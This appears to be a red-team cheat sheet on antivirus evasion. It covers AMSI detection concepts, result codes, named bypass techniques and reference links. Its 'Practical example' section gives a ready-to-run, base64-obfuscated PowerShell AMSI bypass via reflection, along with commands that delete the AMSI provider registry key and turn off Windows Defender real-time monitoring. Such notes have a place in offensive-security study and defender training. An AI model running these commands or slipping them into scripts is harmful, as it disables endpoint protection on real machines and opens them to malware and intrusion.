killchain-compendium/antivirus_evasion.md

Antivirus Evasion

• Existing types

  • On-Disk evasion
  • In-Memory evasion

• Detection Methods

  • Static Detection -- Hash or String/Byte Matching
  • Dynamic / Heuristic / Behaviourial Detection -- predefined rules, run inside a sandbox

Anti Malware Secure Interface

• https://docs.microsoft.com/en-us/windows/win32/amsi/

Return Result Codes

AMSI_RESULT_CLEAN = 0
AMSI_RESULT_NOT_DETECTED = 1
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
AMSI_RESULT_DETECTED = 32768

Bypass

• Patching amsi.dll

• Amsi ScanBuffer patch

• Forcing errors

• Matt Graeber's Reflection

• PowerShell downgrade

• S3cur3Th1sSh1t

• Practical example

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
Set-MpPreference -DisableRealtimeMonitoring $true

Validate

• Validate Obfuscation
• AMSITrigger Repo

Links

• cmnatic
• cmnatic's diss
• s3cur3th1ssh1t
• amsi.fail